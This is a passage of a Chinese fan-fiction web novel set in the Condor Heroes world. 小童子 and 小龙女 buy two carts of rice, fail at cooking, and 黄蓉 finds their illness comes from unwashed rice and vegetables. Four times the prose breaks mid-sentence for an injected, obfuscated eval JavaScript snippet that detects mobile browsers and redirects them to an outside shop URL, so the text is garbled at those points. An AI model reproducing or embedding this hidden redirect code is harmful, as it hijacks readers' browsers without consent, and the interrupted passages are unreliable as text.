小童子道:“猪肉要买,鱼也要买,笋干也买。” 小龙女看了一眼桌上青菜和豆腐,道:“青菜、豆腐也可以买。” 小童子道:“多买些。” 小龙女点头:“免得常下山。” 黄蓉听到这里,终于忍不住问:“你们打算买多少?” 小童子想了想:“十日的。” 小龙女道:“一月也可。” 黄蓉怔了一下,才明白她们竟连食物会腐败也不知道。她道:“鱼、肉、青菜、豆腐,放不了那么久。” 小童子和小龙女抬头:“为什么?” 黄蓉道:“会坏。鱼肉放久了会臭,青菜会蔫,豆腐更容易酸。笋干倒能久放,可也不是样样都能像米一样能放那么久。” 小童子和小龙女一起看向桌上的菜,原来菜还会坏。 黄蓉玩心又起,便顺着她们问。 小童子指那盘红亮的肉:“这个是什么?” 黄蓉道:“这是红烧肉。要先把肉切成方块,焯水去腥,再用糖色炒亮,添水慢炖。火不能急,急了肉硬;也不能太散,散了不成形。盐要后放,酱要看色,若有酒,便更好。” 小童子听得一脸茫然,小龙女也停住了筷子。 切块,她们懂;水,她们懂;火,她们也懂。 可糖色是什么?去腥又是什么?盐为何后放?酱看色怎么看?有酒为什么会更好? 小童子皱眉:“做饭这么麻烦?” 黄蓉笑道:“自然。你以为把肉丢进锅里煮熟便行?” 小童子原本确实是这样认为。 小龙女问:“鱼呢?” 黄蓉道:“鱼要杀,要去鳞,要剖腹,要去腮。蒸之前要看大小,火候差一会儿,肉便老了。要去腥,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778102|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 要调味。姜、葱、酒,各有用处。” 小童子和小龙女沉默。 小童子忽然觉得买米已经很难,做饭更难。 她低声道:“龙儿,孙婆婆好厉害。” 小龙女点头,她们今日已经感叹过孙婆婆是买米奇才。现在看来,她不仅是买米奇才,还是做饭奇才。 小童子认真道:“她知道哪里买米,知道银子多少,还知道肉怎么煮、鱼怎么蒸、青菜怎么炒。她比我们会好多。” 小龙女点头。 她们从前只觉得孙婆婆做饭是孙婆婆天生就会做饭。如今才知道,这里面竟有这么多弯弯道道。 原来生活也有武功,只是这种武功,不在石壁上,也不在剑上,而在米、菜、火、盐与锅里。 杨过听见“孙婆婆”三个字,筷子猛地停住。 小童子和小龙女说起孙婆婆时,没有哭,没有难过,甚至还有一点认真感叹。孙婆婆好厉害,孙婆婆是买米奇才,孙婆婆是做饭奇才。 她们说得那么平静,好像孙婆婆只是去了很远的地方,好像她的死已经被放进某个石室里,盖上石门,不再疼了。 可杨过疼。 孙婆婆死的时候,他哭得嗓子都哑了。后来他被扔下山,被丢在市集,被人群挤来挤去,夜里想起孙婆婆,还是觉得心口发酸。那是唯一真正抱过他、护过他、为了他和全真教动手的人。 可现在,古墓两人说起她,一点难过都没有。 杨过忽然觉得自己和孙婆婆一样,或许他死了,也没人真正在意。郭伯伯会难过一阵吧,但郭伯伯有郭伯母,有郭芙,有武林盟主,有襄阳,有很多很多比他重要的事。 古墓两人不会在意,郭伯母大约更不会。郭芙甚至可能只是少了一个讨厌的人。 这个念头一起,杨过眼眶立刻红了。他死死低着头,不想让别人看见。可眼泪已经逼到眼眶边,他猛地把筷子一放,起身便往外跑。 郭靖一惊:“过儿!” 杨过没有停。 郭靖又喊:“过儿,你去哪?” 杨过脚步更快,转眼便跑出了厅。 郭靖想追,又被旁边来敬酒的几名江湖人拦了一下。黄蓉看着杨过的背影,眉心微微一蹙,却没有起身。 厅中有一瞬小小的混乱。 小童子和小龙女却没有动,她们甚至不知道自己哪句话让杨过难过。 孙婆婆死了,人总是会死。师姐离开了,师父死了,孙婆婆也死了。她们很早便习惯了身边的人离自己而去。不是不记得,也不是不在意,只是悲伤不会永远停在哭声里。 小童子小时候很爱哭,后来也不怎么哭了。小龙女更少哭。她们把那些死去的人、离开的人,放进心里很深的地方,然后继续练功,继续吃饭,继续想办法买米。 小童子看了一眼门口,又看向桌上的菜:“这个汤叫什么?” 小龙女看向黄蓉。 黄蓉收回看向门口的目光,心情复杂地看着她们。过了片刻,她道:“腌笃鲜。” 小童子认真记下:“腌笃鲜。” 小龙女也点头记下,这名字很怪,但汤很好喝。 若能学会,也带回古墓。 42.两车米 饭吃完以后,厅里更吵了。 酒过几巡,许多人的话便比方才更多。武林盟主定下来了,金轮法王也走了,古墓派的事暂且按住,众人心里压着的那口气终于有了地方散。 有人端酒来敬郭靖,有人来敬黄蓉。有人说襄阳如何艰难,有人说蒙古如何凶狠。有人说今日郭大侠力挫金轮法王,实在大快人心。也有人绕着弯子问全真教和古墓派的事,想探一探黄蓉口风。 黄蓉笑着应付;郭靖不善推辞,酒一杯接一杯被人递到面前,只得一面说诸位抬爱,一面想将正事拉回抗蒙大计。 酒桌上人多,话也多,谁都想说两句,谁都觉得自己的两句很重要。 小童子和小龙女坐在一旁,等了一会儿。她们还记得黄蓉的话,吃完饭郭靖可以和她们说说方才那一掌,所以她们等。 小童子放下筷子,看向郭靖。郭靖正被一个使刀的汉子拉着说话。 小龙女也看向郭靖,郭靖又被丐帮几名长老围住。 等那几人散了,又有全真教的人上前,低声说郝大通之事不可就此放下。郭靖神情严肃,黄蓉在旁边接话,三言两语又将局面压住。 小童子等得眉头慢慢皱起来,外面人真的很能说。从武林大会到饭桌,从饭桌到饭后,话像没有尽头。 小龙女伸手,轻轻握住她,掌心内力一碰:走? 小童子看她:走。 两人对视一眼,便站起身,没有告辞,也没有惊动谁。 厅里人来人往,仆役端着茶水酒盏穿行,江湖人三五成群地说话。黄蓉眼角余光似乎扫到两道白影起身,却正被一名帮中长老问到粮草调度,一时也顾不上。 等她再回头时,小童子和小龙女已经不见了。黄蓉微微一怔,随即无奈地笑了笑,跑得倒快。 小童子和小龙女出了陆家庄,外头夜风一吹,耳边终于清静许多。 天色已黑,大胜关附近仍旧热闹,客栈、酒肆、临时摊棚都亮着灯。街上行人比白日少了些,却仍有人牵马而过,有人醉醺醺地唱歌,有人坐在茶棚下继续谈论今日的武林大会。 “郭大侠那一掌,当真天下无双。” “那两个古墓少年也怪得很。” “听说是两姑娘?” “胡说吧,一个分明是少年郎。” “谁知道呢,古墓里出来的人,哪能按常理看。” 小童子和小龙女从这些声音旁边走过,她们没有停,打算径直去拿米。 客栈就在不远处,妇人果然在。 她正坐在客房里拨算盘,桌上摊着几张写满字的纸。旁边放着一盏灯,灯火照得她眉眼清晰。几个伙计进进出出,有的拿绳索,有的拿清单,有的说车已找好,有的说粮商那边已经点过数。 见小童子和小龙女回来,妇人抬头笑道:“回来了?” 小童子点头,小龙女也点头。 妇人看了看她们,见两人衣裳尚整,身上也没有新伤,便放了心:“武林大会好看么?” 小童子想了想,道:“后来好看。” 小龙女道:“有些可学。” 妇人听得一头雾水,她原本以为她们会说热闹、但吵,或者有人打架厉害,没想到是有些可学,不过这两个孩子说什么都不奇怪。 她把桌上的纸递给小童子和小龙女:“米已经定好了,两车。不是最精的米,也不是最差的米,适合长吃。太精的贵,放久了也不见得好;太差的你们两个又不像能吃惯。车队也说好了,明日一早出发,送到终南山脚。山路往上若车上不去,便要另加钱给脚夫挑。” 小童子和小龙女认真看着纸,纸上字她俩认得,但那些价钱、数量、车马脚夫,连在一起又显得有些难。 小童子看向小龙女,小龙女也看向小童子,她俩决定相信妇人。 小童子道:“多谢你。” 小龙女也道:“多谢。” 妇人笑道:“谢倒不必。我赚了脚钱,也不算白忙。” 小童子想起饭桌上的菜,忽然道:“我们还想买菜和肉。” 妇人挑眉:“买多少?” 小童子很认真:“很多。” 小龙女补充:“要好久才吃完。” 妇人一听这句,便笑了。她如今已经知道,这两个孩子说“好久才吃完”,多半是真想把能买的都搬回去。 “菜肉不像米,放不了太久。”妇人道,“新鲜青菜买多了会坏,肉也要腌、要晒、要处理。你们若不会,买太多回去也是糟蹋。” 小童子想起黄蓉也说过类似的话,外面的学问真多。 小龙女问:“那有什么能买的吗?” 妇人道:“明日一早,往东街去,有个菜市。你们可以买些耐放的菜,萝卜、白菜、干菇、笋干,肉可买些腌肉、火腿,也可以买新鲜的少许路上吃。若想买鱼,路途远,不好带回终南山。” 小童子有些失望,鲈鱼不能带。 小龙女则想,以后若想吃清蒸鱼,要在近处买,或学会养鱼。 妇人看她们认真得像听武功口诀,忍不住笑:“明早我叫个伙计带你们去,免得你们把不能放的东西买一车。” 小童子和小龙女道:“多谢。” 小龙女想了想,忽然又问:“你叫什么名字?” 妇人一怔,这还是两人第一次问她名字。 小童子道:“以后我们还想买东西,怎么找到你?” 妇人看着她俩,眼里的笑意柔和了些。这俩孩子倒是学得快,出门一趟,便知道买东西不能只看物件,还要认人、记名,问清往后寻人的门路。 “我姓沈,名长风。”妇人道,“熟人多叫我沈娘子。我自己开了一家货行,叫沈记长风行,常走大胜关、襄阳、终南一带。你们若要找我,可托大胜关这家客栈掌柜递信,也可到襄阳南市的沈记长风行问。” 小童子认真记,小龙女也点头记下。 沈娘子又问:“那你们呢?我的名字都叫你们知道了,总也该让我知道你们怎么称呼吧?” 小童子道:“我叫小童子。” 小龙女道:“小龙女。” 沈娘子怔了一下,这名字真不像寻常人,但放在她们身上,又很合适:“住处呢?” 小龙女道:“终南山,活死人墓。” 沈娘子手里的算盘珠停了一下,果然,她早猜到了。只是听她们这样平平静静地说出来,仍觉得有些奇异。 “好。”沈娘子点头,“我记下了。以后若有货往终南山附近走,我让人给你们带消息。” 三人互相记下姓名与能寻人的地方,此事在小童子和小龙女眼中,便像学会了另一门小武功。 这一夜,两人在客栈睡下。客栈的床不如寒冰床冷,软得有些奇怪。 小童子躺上去时,身体往下一陷,立刻坐起来:“龙儿,这床会吞人。” 小龙女摸了摸被褥:“太软。” 两人到底没有各占一张床,仍像在寒冰床上那样并肩躺着,手牵着手,内息在指间来去,彼此试探,彼此磨合,悄悄又长进了一分。床虽软,倒也足够宽。窗外人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780310|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 声渐渐低了,夜风拂动窗纸,远处还隐约传来几声马铃。 小童子闭上眼,脑子里一会儿是郭靖的掌,一会儿是金轮的圆,一会儿是红烧肉要先焯水,一会儿又是两车米。 睡着前,她小声道:“龙儿,以后不会饿了。” 小龙女迷糊回应:“嗯。” 第二日一早,天刚蒙蒙亮,沈娘子派来的伙计便在楼下等着。 菜市已经开了,小童子和小龙女跟着伙计过去时,整条东街都是湿漉漉的。卖菜人把竹筐摆在地上,青菜上还沾着露珠。萝卜带着泥,白菜一层一层包得紧,干菇装在布袋里,笋干扎成捆,腌肉挂在木架上,火腿颜色深红。 再往前,还有人卖鸡卖鸭,竹笼里扑棱作响;不远处摆着一只木盆,盆里的鱼尾拍得水花乱溅。 小童子立刻看向小龙女,小龙女也看了过去。 伙计一瞧两人的眼神,忙抢先道:“鱼可带不回终南山,路上会死,也会臭。” 小童子其实也知道这个道理,只是被人这么一说,便不好再多看,只得把目光收了回来。 小龙女和小童子开始买菜,一开始还很有章法。 萝卜、白菜、干菇、笋干、腌肉、火腿,照着沈娘子说的各拿了一些。再往后,章法便渐渐散了。 小童子看见一种紫色茄子,想买;小龙女看见一把细长青菜,也想买。 有人吆喝新鲜豆腐,小童子觉得白白嫩嫩,想买。伙计连忙阻止,说豆腐不耐放。小童子遗憾地买了一点,决定路上吃。 有人卖刚出炉的点心,热气腾腾。小龙女看了一眼,觉得小童子会喜欢吃。小童子看到小龙女的目光,立刻掏钱买。 有人卖糖,黏亮黏亮。小童子好奇看了一眼,小龙女转头买下。 没过多久,沈娘子留给她们的小碎银便花得差不多。伙计看着堆起来的东西,额角都有些汗:“两位姑娘,够了,真的够了。” 小童子看向小龙女,小龙女看向那些菜,点点头:“够了。” 于是她们带着满满当当的货物回到客栈。 两车米已经在门外等着,米袋码得整齐,用绳索绑好。车夫和脚夫也都到了,几匹马甩着尾巴,车轮边沾着清晨的泥。 沈娘子站在车旁,见她们买回来的东西,笑得直摇头:“幸好没留给你们更多银子。” 小童子认真道:“都能吃。” 沈娘子道:“但愿你们会做。” 小童子沉默了一下,小龙女也沉默了下来。 沈娘子看她们这样,又笑了。她让伙计把菜肉分门别类放好,耐放的放车里,不耐放的放最外头,叫她们路上先吃。又叮嘱车夫一路慢些,货要送到终南山脚。 小童子和小龙女再次道谢。 车队出发时,太阳刚从云后露出一点光。来时两人饿着肚子,沿官道一路问米,连树皮被啃过都看得发怔。 回去时,她们饱着肚子,身后是两车米,旁边是满满当当的菜、肉、干货、点心。 她们坐在货物马车上方,衣摆被晨风吹起,脚下车轮缓缓碾过官道。 小童子低头看着米袋,心里前所未有地安稳:“龙儿,我们有很多食物了。” 小龙女看着前方渐渐远去的大胜关,又看向终南山的方向:“嗯。” 她们都很高兴,这种高兴不如悟出新招时兴奋,也不如与郭靖交手时新鲜,却很踏实,像一袋袋米压在车上,沉甸甸的。 这一回,古墓里会有许多米和菜。往后练功时,她们终于不必再饿着肚子了。 43.生病 两车米终于回到了终南山。 山路越往上越窄,马车到了半山便再难前行。车夫和脚夫依照沈娘子的吩咐,把米袋一袋一袋卸下来,又用扁担挑、用绳索背,沿着山道慢慢往上送。 小童子和小龙女在前面带路。 她们走山路如履平地,脚夫们却走得满头大汗。终南山雾气重,石阶潮,路旁野草长到膝边,偶尔还有碎石滚落。脚夫们一边喘,一边看着前方两个白衣少女轻飘飘地转过山道,心里只觉这活死人墓果然不是寻常地方。 到了墓门前,几个脚夫更是不敢多看,连喘气声都下意识压低了些。 古墓门口焦黑的痕迹还在。前些日子的火攻、血迹虽都已被小童子和小龙女清理过,可山石上仍有一些烧过的印子。墓门幽深,里面吹出来的风冷而静。脚夫们把米袋堆在外头,谁也不敢往里探头,拿了工钱,便几乎是小跑着下山。 小童子和小龙女把米一袋一袋搬进古墓。 米袋沉甸甸的,堆在厨房旁边,像一座白色小山。干菇、笋干、腌肉、火腿,也被她们分开放好。点心和糖被小童子郑重放在石桌上,不耐放的青菜放在最外面,准备先吃。 古墓里终于不空了,厨房不再像一间空荡荡的石室。那些米、菜蔬、干货和点心把石室挤得满满当当,连冷清的石壁都仿佛多了几分人间烟火气。 小童子站在米袋前,看了又看,忍不住伸手拍了拍。米袋被她拍得轻轻一陷,她满眼都是欢喜:“龙儿,这些食物好久都吃不完。” 小龙女看着那一堆食物,目光也停了片刻,眼底似乎也有一点亮意,却道:“会吃完的。” 小童子想起她之前说“买到吃不完”时,小龙女也是这样纠正她,便笑了一下。她笑得很轻,却藏不住高兴:“那就吃完再买。” 小龙女道:“嗯。” “吃完再买”这句话说出来,两人都觉得安心。她们有银子,也知道该往哪里去问;若要再买,便去找沈记长风行,或托大胜关客栈递话,再不然,还可以问沈娘子。 一切看起来都顺了。 可很快,她们便发现,事情并不如想象中那样顺畅。米是有了许多,可她们不会煮饭。菜也有了许多,可她们同样不会做。 第一日,小童子十分自信。 米放进锅里,加水,烧火。这几件事看上去都不难。她把米倒进锅里,倒了很多,因为她和小龙女都练功,应该要吃很多。又加了很多水,因为米若没有水,肯定煮不熟,然后她点火。 古墓的灶台许久没人用。孙婆婆在时,火总是听话的。她一蹲下,添柴,拨灰,火苗便稳稳起来。 到了小童子手里,火一会儿太小,一会儿太大。柴烟呛得她咳了两声,眼睛都眯起来。 小龙女站在旁边,很认真地看。她觉得这像练一种新功夫,只是这功夫没有口诀。 等锅里终于冒出白气,小童子很高兴:“熟了。” 小龙女看着锅,迟疑:“应当。” 她们把锅打开,里面不是饭,是一锅白乎乎的米水。 上面稀,下面粘,有些米粒仍硬,有些已经烂开。小童子用勺子搅了搅,觉得虽然和孙婆婆从前煮的饭不同,但应该能吃。她们吃了,确实能吃,只是不好吃。 第二次,她们少放水,结果下面糊了。 焦味从锅底冒出来,古墓厨房里全是烟。小童子把锅底那层黑硬的东西铲起来,研究半天,问小龙女:“这个能吃吗?” 小龙女看了看:“少吃。” 小童子尝了一口,很苦,她决定不吃。 米饭已经如此艰难,菜更艰难。她们并不知道菜还能用油炒,只觉得既然米要加水煮,菜大约也该加水煮。青菜直接放进锅里,煮出来还是青的,能吃。萝卜切块,放水煮,也能吃。白菜放进锅里煮一煮,似乎也能吃。 于是两人好不容易学会了用水煮米和菜。 没有黄蓉那样的糖色,没有孙婆婆那样的火候,没有去腥、收汁、调味。只有水,和锅,以及一点盐。 小童子一开始觉得,能吃便行;小龙女也这样觉得。 可没过多久,问题又来了。饭里有沙子,菜里也有沙子。 第一口咬下去时,小童子还以为自己咬到了米粒里没熟的硬心。第二口,又咯了一下牙。她把饭吐在碗边,仔细一看,才发现里面有小小的沙粒。 青菜更明显,叶缝里藏着泥,煮过以后沉在汤底。她们吃的时候不知,汤也喝了,菜也吃了,等发现时,嘴里已经满是细细的土腥味。 两人这才知道,菜不是买回来就能下锅,要洗。米似乎也要洗。可怎么洗?洗到什么程度?洗几遍? 这些孙婆婆从前都做过,只是她们从未看见。或者看见了,也没有放在心上。 小童子有些懊恼,她觉得自己能接郭靖的亢龙有悔,能和小龙女一起逼得郭靖认真应战,能在古墓里杀退一群入侵者,却连一碗没有沙子的饭都煮不出来。 这实在很不合理,可再不合理,沙子还是在嘴里。 更糟的是,小童子肚子痛了。 第一次痛时,她只以为练功岔了气。她坐在寒冰床边,运功想把那股疼压下去。可疼不是内息滞涩,也不是剑伤掌伤。它在肚子里一阵一阵绞,像有人在里面用手拧。 小童子皱着眉忍了一会儿,没忍住。她弯下腰,额头抵在膝上。 小龙女立刻停下练功:“童儿?” “肚子痛。”小童子的声音闷闷的。 她已经很久没有这样说痛了。从前小时候,脸被李莫愁捏红了,屁股被师父打肿了,受一点伤便要跑去找小龙女喊痛。后来她长大了,哭得少,喊痛也少。哪怕被剑划伤,哪怕与师父生死间游走,她也多半咬牙忍着。 可这一次,肚子里的痛又怪又绵。她忍得眼眶慢慢蓄起水,好久没哭过的小童子,痛得双眼泪汪汪。 她抬头看小龙女时,眼睛里全是水光,却还死忍着不让眼泪掉下来。 小龙女看见这样的她,心口忽然一疼。不是被掌力打中,也不是寒冰床的冷意。那疼在心脏处,突如其来,像有什么细而尖的东西从里面刺了一下。 小龙女伸手按住自己的胸口,她脸色微微变了。小童子肚子痛,她心口痛。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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两人沿着山道往下,她们本想去大胜关,去找沈记长风行,或者先去那家客栈托信。 可还没走到官道,前方山路上便出现了几个人。 为首的是一名女子,青衣轻便,身形灵巧,手中拿着竹棒。是黄蓉,她身后还跟着两名丐帮弟子,似乎是沿终南山方向而来。见到小童子和小龙女,黄蓉也有些意外。 小童子和小龙女停下脚步。 黄蓉看见小童子脸色发白,眼眶还红着,又看见小龙女手里拿着两把剑,眉梢微微一挑,她问道:“两位这是又要下山买米?” 小童子摇头,她很严肃:“生病。” 黄蓉一怔。 小龙女补充道:“要买药。” 黄蓉的目光在两人脸上转了一圈。 小童子捂着肚子,脸色有些发白,眼角还有没退干净的水光,可气息尚稳,步子也不乱,并不像什么急重之症。 小龙女神色仍冷,脸也冷,除了方才像是按过心口,倒更不像病人。只是她手指一直扣着小童子的腕,扣得很紧。 两个能逼得郭靖认真应战的古墓高手,此刻站在山路上,神情郑重得像遇见生死大敌。 黄蓉忽然觉得,这两人的懵懂无知,恐怕比她想的还要多。 44.把脉 黄蓉不是无缘无故来终南山的。 陆家庄一别之后,江湖上的消息散得极快。 武林大会推举郭靖为盟主,金轮法王败走,小龙女和小童子横空出世,逼得郭靖与之相斗,最后两人还在他手臂上划出一道血痕。这些事一夜之间便从大胜关传了出去。 传到第二日,已经多了许多版本。 有人说古墓派那两个少年其实是山中精怪,否则不足双十年华,怎会打得过郭靖?也有人说,她们一个是洪七公的弟子,会降龙十八掌;一个是金轮法王的弟子,懂密宗奇功;还有人说郭靖惜才,才故意让了半招。至于全真教忍气吞声,不过是在暗中召集人马。 黄蓉不信那些添油加醋的江湖传闻,可她信丐帮的消息。 丐帮弟子遍布各地,耳目灵通。大胜关之后,便有消息递到她手中,说全真教早在武林大会之前已经暗中传信,召集几位长辈和门中好手。郝大通的死不可能就此揭过,全真教要讨伐古墓派,几乎是早晚的事。 黄蓉看完消息,便去找郭靖。郭靖沉默了许久,郝大通之死,他心中悲痛。 全真七子与他渊源很深。昔年马钰传他内功,全真教对他有恩。郝大通身亡,若真是死在小童子剑下,他不可能全无愤怒,也不可能一句“另有隐情”便轻轻放过。 可他也亲手与小龙女、小童子交过手。 那两人的武功太纯,纯到让他想起自己少年初学武功时,对武道本身最笨拙也最执着的心。她们不是霍都,不是金轮法王,也不是江湖上那些为了名利出手的人。她们看着冷,出手却干净,问什么答什么,连杀人偿命这种话都说得直直白白。 郭靖坐在灯下,叹了一声:“蓉儿,如今国家危难,蒙古虎视眈眈。中原武林若再自相残杀,只会让外敌得利。古墓那两个孩子武功奇高,若能引到正道,将来必是抗蒙的好手。” 黄蓉看着他,已明白这一声叹息里压着什么。 郭靖又道:“可郝道长之死,也不能不问。” 他这句话说得很哀伤,黄蓉明白。靖哥哥既惜才,又念旧恩;既想护住两个天纵奇才,又不能让全真教寒心。若换作旁人,或许只会觉得两边都难办,索性放任江湖自己解决。可郭靖不会,郭靖总想让人少死一点。 黄蓉便道:“我去一趟。” 郭靖抬起头,没想到黄蓉会主动揽下这桩为难事,何况她如今还怀着身孕。 黄蓉笑了笑:“你若去,全真教与古墓派都会紧绷。你是盟主,又与全真教有旧,站到哪里都像表态。我去疏通疏通,先看看那两个孩子到底如何想,再看看有没有法子把这件事换个方式解决。” 她顿了顿:“能少死人,最好不过了。” 郭靖点了点头,黄蓉一向比他看得细看得清,也许这件事到了她手里,真能寻出一条两全之路。 于是黄蓉带着两名丐帮弟子往终南山来。她一路上都在想,这件事最麻烦的,不是全真教。全真教虽有怒火,却也讲名声。若能给足台阶,再让事情有个可交代的说法,未必一定要打到你死我活。 麻烦的是古墓那两个孩子。她们太直,直来直去的人,在江湖上反而容易吃大亏。因为江湖不只看真相,也看脸面,看门派,看辈分,看话怎么说,看谁先退一步,又看谁能把退一步说成占理。 小童子和小龙女显然不懂这些。 她们若遇上全真教讨伐,八成不会分辩,不会示弱,也不会退让,只会拔剑相向。到时候不是她们吃大亏,便是全真教吃大亏。一旦交手,双方都难免折损,而在这抗蒙的紧要关头,伤了哪一方,都是抗蒙大局的损失。 想到这里,黄蓉脚步更快了些。可她怎么也没想到,还没到终南山活死人墓,便在山路上遇到了这两个孩子,而且模样十分古怪。 小童子脸色发白,捂着肚子,眼睛红红的,像刚哭过又硬忍着不承认。小龙女一手牵着她,一手替她拿着剑,神情冷清如常。 黄蓉第一眼还以为,全真教的人已经先一步和她们动过手。 她心里一紧,难道来晚了? 可再一看,小童子身上没有剑伤,没有掌伤,衣裳也好好的。小龙女气息平稳,眉眼虽冷,却不像刚与人大战过。黄蓉这才试探着问她们是不是又下山买米。 结果小童子一脸苦大仇深地说:“生病。” 小龙女还认真补了一句:“要买药。” 黄蓉看着两人,一时竟不知道该先问全真教,还是先问病。 她走近两步,道:“你们哪里不舒服?” 小童子道:“肚子痛。” 小龙女道:“心口痛。” 黄蓉眉梢微动,肚子痛、心口痛;一个红着眼,一个冷着脸。若换成别人,她或许会立刻怀疑是中了什么古怪毒掌。可她看两人气色,小童子虽白了些,却不像内伤;小龙女更不像有病气。两人内息都稳,脚步也不虚,只是一个疼得委屈,一个疼得肃穆。 黄蓉道:“我略懂些岐黄之术,不如先替你们看看。” 小童子看向小龙女,小龙女看向黄蓉。 小龙女问:“你会治病?” 黄蓉道:“小病可看,大病可先分轻重。” 两人听到“大病”二字,神情顿时一肃。 黄蓉见她们如此郑重,不知为何也跟着心里一紧,便找了路旁一块干净石头,让小童子坐下。 山道旁有松树,树影落在石上。风从山上来,带着草木潮气。两名丐帮弟子站在不远处,原本还因见到这两位古墓高手而紧张,此刻见黄蓉竟要替人看病,一时都有些茫然。 小童子坐下,把手腕递过去。黄蓉两指搭上她脉门,脉象不乱,内力深厚得惊人。气血略有些不适,却不是伤,不是毒,也不是大病。黄蓉问:“何时开始痛?” 小童子想了想:“吃饭后。” “吃了什么?” “米,菜。” “怎么做的?” 小童子认真道:“水煮。” 黄蓉点头:“米洗过吗?” 小童子沉默,小龙女也沉默。 黄蓉抬眼看她们:“菜洗过吗?” 两人更沉默了,黄蓉心里忽然有了不好的预感。 她问:“那菜从菜市买回来,便直接下锅?” 小童子道:“有些切了。” 黄蓉:“……” 她又问:“米呢?从袋里舀出来,直接入锅?” 小龙女点头:“对,米有沙。” 小童子补充:“很多沙。” 黄蓉闭了闭眼,她突然明白小童子为什么肚子痛了。这两个搅乱武林大会、把江湖搅得满城风雨的古墓高手,居然连洗米洗菜都不会。 黄蓉一时竟有些无语,她又替小童子看了看舌苔,问了几句,最后确定只是吃了不干净的东西,肠胃受了些罪。说是病,也算病;说是大病,那自然离“大病”差得远。 小龙女听她问完,紧张道:“会死吗?” 黄蓉看着她,眼前这孩子那日当众说“杀人偿命,天经地义”,面对金轮法王也能说“武功差了点”,如今却因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785384|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 肚子痛问会不会死。 黄蓉心情复杂:“不会。” 小童子和小龙女明显松了一口气。 黄蓉又转向小龙女:“你方才说心口痛,是怎么个痛法?” 小龙女道:“看童儿痛,便痛。” 黄蓉一顿,她以为自己听错:“她痛,你便心口痛?” 小龙女点头。 “以前有过吗?” 小龙女想了想:“她被伤到时,会有。” “平日呢?” “无。” 黄蓉伸手,替小龙女也搭了搭脉。脉象平稳,内息清而深,寒意藏在经脉里,却并不伤身。哪里像什么命不久矣的大病?这分明是心疼。 黄蓉真的无语了。小童子肚子痛,倒还有点病;小龙女这个,连病都不是。 她看着面前两个神情郑重、像已准备好与生死作战的古墓高手,忽然觉得自己这些年大概真有一种吸引傻子的本事。 靖哥哥是一个,杨过算半个,自家芙儿也不聪明。 如今又来了两个,偏偏这两个还不是寻常傻。她们能瞬间看懂降龙十八掌和金轮圆意,却不懂米要淘、菜要洗;能在武学上往前推一步,却把心疼当成生大病。 黄蓉扶额。 小童子看她这样,立刻问:“很难治?” 黄蓉放下手,道:“不难。” 她尽量让自己的声音听起来很平稳:“你肚子痛,是因为米和菜没有洗干净,吃进了沙土。回去煮些清淡的粥,少吃油腻,若还痛,我给你开一副温和的药。至于你……” 她看向小龙女,小龙女很认真地等她说。 黄蓉道:“你没有生病。” 小龙女微微皱眉:“那我心口痛?” 黄蓉道:“那是心疼。” 小龙女安静片刻:“心疼不是病?” 黄蓉道:“不是。” 小龙女像是在认真琢磨这件事,小童子也在旁边思考。 黄蓉忽然觉得,自己若此刻告诉她们“伤心也不是必须吃药”,她们大概会像学武功口诀般点头记住。 她叹了口气:“你们是不是不会做饭?” 两人同时沉默,沉默就是答案。 黄蓉又问:“不会洗米?” 小童子低声道:“现在知道要洗。” “会洗吗?” 小童子更低声:“不会。” 黄蓉再问:“菜呢?” 小龙女道:“也不会。” 黄蓉看着她们,忽然觉得这件事比全真教讨伐还急。全真教来讨伐,至少这两人会打。米菜不会洗,她们是真的会吃坏肚子。她原本来这里,是想在全真教与古墓派之间找个活路。没想到第一件要做的事,竟是教两个绝世高手洗米洗菜。 黄蓉轻轻吸了一口气:“走吧。” 小童子抬头:“去买药?” “先回古墓。”黄蓉道,“我看看你们到底怎么煮饭。” 小龙女看着她:“你会?” 黄蓉笑了一下:“比你们会。” 小童子和小龙女对视一眼,掌心轻轻碰了碰:有救。 黄蓉看见她们那一点小动作,心里又好气又好笑。她带着丐帮弟子,跟着两个古墓少女往山上走。山道仍旧安静,松影落在石阶上。 黄蓉抬头看了一眼终南山雾气深处,忽然觉得自己这一趟来得很对。 只是来之前,她想的是江湖大义、门派恩怨、人员损失。来之后,做第一件事却是:教两个孩子不要再把沙子煮进饭里。 45.古墓 黄蓉跟着小童子和小龙女往终南山上走。 